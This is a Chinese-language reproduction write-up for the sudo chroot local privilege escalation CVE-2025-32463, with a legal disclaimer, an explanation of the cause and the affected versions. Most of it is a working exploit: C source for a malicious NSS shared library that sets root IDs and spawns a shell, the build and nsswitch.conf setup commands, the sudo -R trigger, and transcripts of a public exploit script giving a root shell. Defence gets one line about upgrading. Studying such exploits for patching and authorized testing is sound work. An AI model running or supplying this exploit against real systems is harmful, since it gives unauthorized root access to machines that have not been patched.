免责声明
本文所述漏洞复现方法仅供安全研究及授权测试使用;
任何个人/组织须在合法合规前提下实施,严禁用于非法目的;
作者不对任何滥用行为及后果负责,如发现新漏洞请及时联系厂商并遵循漏洞披露规则。
漏洞原理
Linux sudo chroot 是 Linux 系统中用于更改进程根目录的命令,通过指定新根目录来限制用户访问权限,常用于安全隔离、系统恢复和软件测试等场景
Linux sudo chroot 权限提升漏洞(CVE-2025-32463)源于本地低权限用户通过特制的恶意chroot 环境触发动态库加载,从而以root 权限执行任意代码
sudo的-R( --chroot) 选项旨在允许用户在 sudoers 文件允许的情况下,使用用户选择的根目录运行命令
sudo 1.9.14 版本进行了一项更改,它在读取 sudoers 配置文件之前,就开始在 chroot 环境中解析路径,攻击者可以通过在用户指定的根目录下创建/etc/nsswitch.conf
文件,诱骗 sudo加载任意共享库
影响版本
1.9.14 <= sudo <= 1.9.17
注意:Sudo 的旧版本(当前<= 1.8.32)不易受到攻击,因为不存在chroot功能
PoC
执行:
pwn ~ $ sudo -R woot woot
如果存在漏洞将返回:
sudo: woot: No such file or directory
如果为漏洞已修复版本将返回:
[sudo] password for pwn:
sudo: you are not permitted to use the -R option with woot
漏洞复现
1. 环境搭建
git clone https://github.com/pr0v3rbs/CVE-2025-32463_chwoot.git
cd CVE-2025-32463_chwoot
- 执行
./run.sh
构建并运行Docker镜像
2. 漏洞复现
2.1. 不直接使用EXP
2.1.1. 创建恶意共享库
没有vi等编辑器可以直接用cat写入文件
cat > woot1337.c<<EOF
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void woot(void) {
setreuid(0,0); // root uid
setregid(0,0); // root gid
chdir("/");
execl("/bin/sh", "sh", "-c", "/bin/bash", NULL);
}
EOF
编译为共享库
gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c
2.1.2. 配置nsswitch.conf
mkdir -p woot/etc libnss_
echo "passwd: /woot1337" > woot/etc/nsswitch.conf
cp /etc/group woot/etc
2.1.3. Exploit
sudo -R woot woot
- 切换根目录至woot
- 加载
libnss_/woot1337.so.2
- 恶意库执行命令,获得root shell
2.2. 直接利用EXP
EXP已经披露,就放置在当前home目录下,可以直接执行
- 以root权限执行命令
./sudo-chwoot.sh id
pwn@5e57d3e9f134:~$ ./sudo-chwoot.sh id
woot!
uid=0(root) gid=0(root) groups=0(root),1001(pwn)
- 进入root shell
./sudo-chwoot.sh
pwn@5e57d3e9f134:~$ ./sudo-chwoot.sh
woot!
root@5e57d3e9f134:/# id
uid=0(root) gid=0(root) groups=0(root),1001(pwn)
root@5e57d3e9f134:/#
防御措施
升级到漏洞修复版本